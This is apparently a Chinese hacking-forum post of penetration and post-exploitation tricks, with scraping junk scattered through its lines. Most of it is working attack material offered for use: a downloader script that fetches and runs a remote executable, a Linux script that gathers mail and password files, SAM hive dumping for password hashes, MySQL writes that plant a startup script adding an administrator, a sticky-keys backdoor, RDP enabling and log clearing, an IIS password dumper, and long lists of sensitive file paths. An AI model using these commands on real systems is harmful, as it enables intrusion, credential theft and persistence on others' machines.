/ u3 W2 @: n" O5 t
. C0 s3 F/ z6 [# m0 Y7 \9 _（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
& G: J* i! ]+ C" j/ m) t——————————————
1 a- L4 J/ A% O8 y% A% K1 e4 f, s感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
% ~6 t1 q6 i2 M9 L3 x# F$ P( Y3 T1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; V4 I) j) D7 h* x. n% Oalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
" a, \7 B7 X& u8 i+ B{
8 e/ M- {* e# A( B* N+ x8 [2 T7 @注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
) }7 i/ W6 @4 I6 X% D若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
9 D  k( R) `$ r. X6 P6 u: p
9 p9 m& r5 @7 G' O1 w. N% v) W; L/ D提权先执行systeminfo
8 y. D$ p6 R- C$ {( A) d3 E, Q$ ztoken 漏洞补丁号 KB956572
; ]) Z: y) G5 c! }1 p# P, k& D! O+ oChurrasco          kb952004
命令行RAR打包~~·
  Y" r! O# B/ }* }rar a -k -r -s -m3 c:\1.rar c:\folder
  ?" D6 B% p0 t; C  f( n' [——————————————
/ T  N9 ]5 l' V/ ~3 y2、收集系统信息的脚本  
9 R8 x; }8 t( O$ E% Wfor window：

@echo off
- w' P" J/ x# W  M' X$ o0 Q9 }echo #########system info collection
: p$ S/ D( o8 m4 T+ }5 i  M( vsysteminfo
* @+ p; \3 d. G& c- q. S9 fver
; K: p7 b8 D" u+ d1 M( `hostname
$ i  \6 l% `1 S7 L% v8 i; @+ Bnet user
net localgroup
net localgroup administrators
net user guest
& v- Y/ q7 o* E9 I8 gnet user administrator
% C7 B8 ]' y6 K
3 `' {8 N% e. [. F, Q* secho #######at- with   atq#####
" b9 v2 T  ?' t0 vecho schtask /query
+ \3 X+ ]$ V% D* Y# e. q
4 F- v1 ?+ J1 Q1 yecho
: N6 j& z& ~! E5 @8 c% [8 J( Vecho ####task-list#############
/ b* a. h3 ?5 m0 o2 ]6 \* A- gtasklist /svc
$ W5 \+ z8 P/ g" Vecho
$ ?! S3 ?7 r* k' s$ P, Z+ U2 {echo ####net-work infomation
ipconfig/all
route print
; T, g2 e4 B  V7 ^; Varp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
6 o: a7 O- H( ]5 ufor linux：

#!/bin/bash
) i; c5 g$ |( C8 {
/ Z* y; M7 _3 E9 g2 ^echo #######geting sysinfo####
. J% e0 [, N6 P* V& q4 ]9 Hecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
6 q+ h( k8 g) w- C! pecho #######basic infomation##
( s3 o$ o" W) W" ~cat /proc/meminfo
6 Q  v" ~1 p- `) g+ m  H2 d8 Aecho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
: V( a3 F3 @& w/ n3 y% }######stole the mail......######
0 D) M8 U+ m- z( [1 d# e8 g% `4 Ccp -a /var/mail /tmp/getmail 2>/dev/null
5 y- X, A3 A8 @6 c' Q
8 ~# ^& p( @% X$ U0 E  ?
6 @* D1 L2 g9 e/ ~" V+ secho 'u'r id is' `id`
$ Z& W8 ]& \1 D. Zecho ###atq&crontab#####
; q% i: _9 Z" C, ]' L1 {; uatq
/ J7 l* @! x# m9 icrontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
! w6 R+ N0 X  Pcat /etc/hosts
/ ~" y* o+ G9 ?hostname
9 }8 i! m! |" Q4 |ipconfig -a
arp -v
3 S+ J0 L, v# G4 `& A5 L) Wecho ########user####
( {, v% _1 {% A" n! j: t7 _6 pcat /etc/passwd|grep -i sh
7 H) F0 E/ }6 x# I
echo ######service####
chkconfig --list

0 b0 F# l' D. V& Y: E$ Qfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
' l8 ~! B& L3 Xdone
% b6 O- D3 u6 ]' F9 U
7 Q# c2 s2 A  z: ~1 C5 ^# _locate passwd >/tmp/password 2>/dev/null
6 V- H6 V/ e% ]2 Ssleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
/ U; `3 t2 B: f2 r" p) elocate conf >/tmp/sysconfig 2>dev/null
sleep 5
$ y3 ?+ h8 I, ^" b+ Y8 dlocate config >>/tmp/sysconfig 2>/dev/null
, d; J$ n8 m' ^; @- [: Qsleep 5
3 P& o* C: P0 X/ V- S5 I
1 T/ l6 @+ K9 Z& p& @" x, J( |###maybe can use "tree /"###
% J( x; t' w3 e, L7 V$ C2 mecho ##packing up#########
0 T- i% ]- |5 ~& V; `; g& E, Ltar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
1 m4 M# t, _1 H2 _; wrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
2 e# V, u0 {0 t9 }4 Z' u——————————————
3、ethash 不免杀怎么获取本机hash。
% n0 ]4 @3 t, O. {% e# z首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
# j0 L' e0 q. N! a& }( k               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
5 `4 ^+ p! N/ c  Z7 ^& U接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
" d. @* z* H6 s* B" i! {  B——————————————
. h  j( n; e: {: k$ J! l0 ]4 K4、vbs 下载者
( Q* v' L: w8 y" @! I" E1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
8 H# ~$ W: f& [- Becho sGet.Type = 1 >>c:\windows\cftmon.vbs
  }0 O+ F; ?: _4 yecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
% I' ~3 `# W3 I- m& [echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
" Y+ d4 a; N1 a4 VOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
8 v% C0 f. @6 S+ P$ z# X+ Ks1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
1 q% I' e3 {0 I* c" fSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
# {+ b' I- Y! i8 ^# F6 W/ Q7 b& vsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
" w% j4 n  d/ S  |2 Z
" E4 T, x# `# O% l' i当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
  G3 q& ^0 ~+ ~! ^7 f3 w2 l5、
. T0 C2 |2 K  `1.查询终端端口
' A4 T2 P6 x$ ^  VREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
$ P5 [: p6 S( m% P9 T2.开启XP&2003终端服务
7 n5 q$ e3 h$ }4 t5 y2 fREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
5 y# u7 E) S' c3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ i& [+ W9 a$ aREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
' A; Z- a2 L- z& D# b————————————————
/ N, H2 |. M7 ~- `- Q6、create table a (cmd text);
9 F+ r. g2 v+ G0 o4 H9 dinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
7 o6 [: z# T2 _. V9 q5 Winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
0 M/ I$ j2 x/ ~select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
6 b2 C) K4 Y9 }! ^————————————————————
8 `, Y  c; i$ L+ x6 |7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
  W9 V$ X, @" l( b- z8、for /d %i in (d:\freehost\*) do @echo %i
; v% g- R$ @- F& c2 h; g
列出d的所有目录
" Q8 y7 r9 A3 b# p  
  for /d %i in (???) do @echo %i

& ^' Z/ `0 w+ ^* K% q把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
( O6 O& }3 M7 j8 k
4 }- a$ T- G8 i/ A+ ffor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
$ v1 c$ k( g7 T, |3 K
0 }  j. `" Y: t- F3.for /f %i in (c:\1.txt) do echo %i
6 r- d* \' A, _) W$ H  
9 S% q2 M$ j: @4 e- Z4 u  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
# {! n9 a0 ^# H, h/ x7 k; Q! Q
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
# m" d6 R: v4 Q# n# T$ D( F
  delims=后的空格是分隔符 tokens是取第几个位置
( N* V. X) x% S——————————
●注册表:
3 D8 ?  l9 a8 \, T& ~( B8 r1 J( U  h1.Administrator注册表备份:
: z/ J0 V/ C/ k+ U, a% Y9 wreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
9 ~  u$ o/ l7 z* H- |  F
2.修改3389的默认端口:
1 [- A0 p$ Q, N( a0 p8 fHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
% w' I* Y1 M8 C% X; E修改PortNumber.
; J! z0 }0 E. F8 ^
* i9 @2 X9 Z9 b" ?+ W9 ]3.清除3389登录记录:
+ d& O" \( a- F3 kreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

6 V! D3 b* Q4 b1 a  f4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

+ j; `) l* r* V2 z$ F5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
6 x* b6 P3 @# j7 n- c; [! V. v
6.IPSec默认免除项88端口(需重启):
% y& O* F+ f7 w& k* R: W9 rreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
1 |" W' p" u1 g+ ]
, H9 X! X5 f8 h" N; L1 N7.停止指派策略"myipsec":
3 B! V9 \3 i- x' z% `; Pnetsh ipsec static set policy name="myipsec" assign=n
# y/ _2 W; C2 Y4 w9 E- R
; l. p2 n0 U/ r: ?4 N8.系统口令恢复LM加密:
4 [: K* M* |" H) o4 r8 n+ i" Greg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

0 a1 ~/ S5 {+ C, k0 f  {9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
/ M" }. ~7 o& b) C( B) J  a1 lreg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

2 j# t1 J# h$ n; v- l$ I: A10.shift映像劫持
7 F0 P# ~' _3 Creg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

4 f4 T2 E" }* [8 y3 x$ A. ~& wreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
" r1 j' n7 y; Z4 ^2 z8 r- a( R-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
' B1 E- _- f% r2 Qif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
* |6 k0 K, M; x3 [' Xwscript.quit
end if
serverbindings=IIS.serverBindings
, V( H* @3 d! }& K! N7 c4 e. |ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
! }0 n+ h% e1 e9 D0 N1 W6 mpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
# B* o7 S8 p+ ]  s复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
5 I% r5 q4 D+ t# c2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
- c2 K$ b6 d- C2 u将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) j1 M- p- @" v% e$ e6 n</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
, l4 S0 n2 ?$ Z$ J1 lPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
, \1 c( x& F) A; L, m; Z; _ 原因是ASP大马里有这样的代码：（没有就没事儿了）
% Z, t2 V1 G. [. m- f url=request.severvariables("url")
& U2 k+ F3 X2 d  V3 F 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
. |  x* @6 U7 k, @4 b url=request.severvariables("path_info")
  V8 G  P& a5 n; h9 R( j& T6 L path_info可以直接呈现虚拟路径 顺利解析gif大马
5 B8 d2 ?  B4 j5 O1 W
==============================================================
LINUX常见路径：
9 v) }  ]# K/ K' x$ o, E4 R
; X% g3 F8 `$ [5 c5 ~8 V/etc/passwd
/etc/shadow
) l. D  E" Q5 m. r/ ?, C: n( C/etc/fstab
, k( }4 b6 \) h3 ~! Y8 N  j/etc/host.conf
/etc/motd
* n: p0 c3 _2 r/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/ U, H, V' i) e$ e4 `$ {& F/var/www/htdocs/index.html
; j" J  N' C8 f2 q/var/httpd/conf/php.ini
+ v2 m+ e& }% A/var/httpd/htdocs/index.php
3 h& ]0 H+ G: @, `- G& C/var/httpd/conf/httpd.conf
/ z: ?) p4 F9 w- k) B) z9 N0 i! h/var/httpd/htdocs/index.html
: p# s) e; b8 n4 n5 q( V! A/var/httpd/conf/php.ini
: W+ Z3 U) [9 P3 @; o5 M" U: a. c$ L/var/www/index.html
6 J) v. h$ Z4 z1 S6 O) H/ V& W) ~/var/www/index.php
' F5 w/ k5 g. }. }1 Q/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
* b6 d7 Y9 z, l/ {/usr/local/apache/htdocs/index.html
4 ]. r7 A* g8 n+ {3 |6 j/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
0 s) q3 V6 Y$ t! c! u/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
0 k5 f& C# [# n9 K, h' G* t/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
' O# s' v* M1 H2 _/etc/httpd/htdocs/index.php
, P# b! q: M* [! v" O6 O) a& z/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
! X& m# G7 {: c& d; V, ^/www/php/php.ini
' L. I5 @! B# w/www/php4/php.ini
4 G3 B- p! t6 \: D0 Y% `; x/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
7 I8 U+ q: H- s" h* E# `& a/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
. r5 q% ^4 J: W& \& r/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
2 h! r  w+ W3 C9 ]4 s/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
" t# s' @' P6 k- N( o/etc/mysql/my.cnf
* \* \: ]. q! E) x2 g8 S- _/etc/httpd/conf.d/php.conf
2 `, `* a8 W  ~% p/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
7 @4 k: M1 E2 T' d/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
+ d( V' A* S; W) s1 a4 k/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
0 n) S9 I6 q# k; j' ~7 X; I% u/var/log/apache/error_log
/var/log/apache/error.log
3 Q/ w$ y0 y7 C4 g& u; {7 ?/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
* r0 K" C4 C2 e) |% ~5 n9 C/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/ A' h8 b1 Q4 L/var/www/logs/error_log
/var/www/logs/error.log
7 Y+ h- i) c! [4 |& t" @& g/var/www/logs/access_log
+ C& r. U7 G5 }4 P/var/www/logs/access.log
3 [+ k. y- X$ S. z9 u! P- X! i/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
3 w1 w' R& R  U- J/usr/local/apache/logs/access.log
" K1 s3 T* t9 P( ]! U( j* G' ?/var/log/error_log
1 M  f& ]# \# m( M- c7 E$ p/var/log/error.log
/var/log/access_log
/var/log/access.log
1 m* j$ p% P5 ?; e0 Y$ I/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
  l& [9 C4 {: o- g% {; \+ Q# M8 m/bin/php.ini
/etc/init.d/httpd
& l* \% N6 U* O/etc/init.d/mysql
/etc/httpd/php.ini
& V% V4 S* Y3 S% ~/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/ V  c' I0 S  h# z: r- m/usr/local/lib/php.ini
! b+ F" ]) Q$ h* D) d/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
8 H( b1 r4 j* A3 |! z' A; Y* P/usr/local/php4/lib/php.ini
" b: @0 E( T1 Z; g/usr/local/php5/lib/php.ini
/ c( X0 p+ ^8 ^/usr/local/php5/etc/php.ini
9 f: i6 F8 Q0 E7 W. Y* b# i/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
8 @& F' w3 o6 M& E; K  X/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
2 _% Y$ K  {+ u& b; y/etc/php4.4/fcgi/php.ini
/ {8 }: C( Z" m- D3 \* C/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
% |+ I: O: e) b8 }/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
+ u0 ^6 B" i, O7 D) Y+ x/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
; Z7 x: _1 q3 K8 u, x4 ?3 N/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
% L$ q& m; i& w- i! V: R$ y/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
4 R3 b9 B- s, S4 [! H: h/php5/php.ini
/php4/php.ini
" U8 r( f8 Y1 t; @9 r. S8 g/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
% o# G0 V; w0 N5 Y; N/xampp/apache/conf/httpd.conf
- _. b7 q. U% c% V/NetServer/bin/stable/apache/php.ini
: x% a+ ?' e$ @2 p/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
) Z! i+ j0 ]4 y5 F" p+ w/var/log/mysql/mysql-bin.log
/var/log/mysql.log
5 h5 X4 I$ w! L& Z4 x( X! ~& G/var/log/mysqlderror.log
9 s$ a9 ?2 l9 [0 l0 {! r/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
+ |# H* Z9 Z$ e9 Z7 z  z% Z/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
  o. H; P) t2 [9 l/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
$ k( ~$ F, E+ Y+ f/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
' X" u2 G: E1 _8 \# ^/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 `7 U$ {: P# S6 gc:\windows\php.ini
c:\boot.ini
c:\1.txt
+ D* O. l! H, f' vc:\a.txt
3 w$ e* ^- W& [
5 w3 Q; p; l$ {; K6 U8 c, {7 vc:\CMailServer\config.ini
9 E/ H! [; `  J# {% j2 ^5 c6 S/ ec:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
; n- a: {$ _% y4 `c:\program files\CMailServer\CMailServer.exe
# n+ P- X0 d, U5 r; K2 Uc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
' l6 P* x" F) C0 I5 [C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
4 s: h2 P( `0 @$ F5 ]: bC:\WINDOWS\7i24iislog4.exe
0 g! |3 s% P! e0 y; ?3 C# A, WC:\WINDOWS\7i24tool.exe

: f: q8 p  Y' _' N. l! f* Gc:\hzhost\databases\url.asp
0 l1 ~! q0 d# Y- U
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
2 V5 M4 s* a$ M7 O' M5 c2 z2 Ac:\www\index.html
' _+ q7 m$ O: }' ~c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
2 C  u2 N# C9 B) z. [( q- U7 tc:\web\index.php
; H: O7 a7 E5 y3 Lc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
" I7 l3 x0 l  l7 @c:\web\default.html
/ B" n7 W/ N4 d" i+ w+ U8 K5 y0 _; Sc:\www\default.html
c:\WWWROOT\default.html
+ d( k* f  p8 l4 _$ sc:\website\default.html
c:\web\default.asp
4 j5 `) g. L* a) v4 nc:\www\default.asp
' o' S' Y$ E8 `( M# Q" i7 y2 M8 gc:\wwwsite\default.asp
c:\WWWROOT\default.asp
. P* n/ }8 N* k7 e1 c6 `  xc:\web\default.php
, M* R8 k5 J& o+ Cc:\www\default.php
8 r, l% u$ M1 J9 k) l! ~c:\WWWROOT\default.php
c:\WWWsite\default.php
/ }# e  L& g/ y" U# Z) U) WC:\Inetpub\wwwroot\pagerror.gif
6 m. u% d' v" tc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
+ Y. m- n8 |( T7 z5 P. s1 iC:\Program Files\Microsoft Office\OFFICE12\winword.exe
' _% n2 M: A6 }! T) o8 uC:\Program Files\Internet Explorer\IEXPLORE.EXE
/ d3 {. l$ r0 B1 |! Y$ iC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
: O  }4 f4 K+ AC:\Program Files\360Safe\360safe.exe
+ z, m: _, M2 U9 XC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
) E8 M5 F# x7 o; u2 T6 I9 }c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
3 l+ n: D7 B& [( Q, PC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
4 o& V, d7 ]) t& l1 A7 g5 ]% rC:\Documents and Settings\Administrator\Cookies\index.dat
; Z; H& L* A- [: u" @9 g' pC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
' E- G7 R+ E& s& g$ K' MC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
8 L3 [1 D9 q3 |8 tC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
7 Y. M( D7 p6 \# PC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
/ t" H4 S) i" WE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
  k% f4 l9 d' m3 E1 CC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
7 f" O/ W/ C! ?2 `* L- b/ @C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
/ ^/ q8 ]( h( T. E( T/ fC:\Program Files\Symantec\SYMEVENT.INF
* y* f# l2 |- x2 @- \1 WC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
7 n4 B3 |! p8 S9 O8 vC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
% K' B- D3 [4 j( k$ ZC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
- ^  n- ^. F* y6 Z. e' r* HC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
" Z- u- g! |4 d  TC:\MySQL\MySQL Server 5.0\my.ini
8 _5 M: L( y7 x1 f6 h! QC:\Program Files\MySQL\MySQL Server 5.0\my.ini
0 x+ F4 I0 ?, X# z- aC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
6 T( U# v% h( l+ D* KC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
( c; C9 `& z/ G' A8 n- X2 Z6 xC:\Program Files\Oracle\oraconfig\Lpk.dll
2 K7 Q) Q- j% ^3 d/ H' m9 u5 q9 UC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
  |2 U/ [  G2 f, F1 q% xC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
0 W6 q- I7 ?7 o! z6 B; fC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
9 n% t2 D$ p; S$ }C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
! j; l# g6 |+ s3 p6 JC:\WINDOWS\system32\config\system
  Z/ K3 ~; G' Pc:\CMailServer\config.ini
7 f  y! G! B, f1 E. N- E+ K( G% Jc:\program files\CMailServer\config.ini
) w3 b" e* `! d* jc:\tomcat6\tomcat6\bin\version.sh
' B9 i3 N7 x5 L) tc:\tomcat6\bin\version.sh
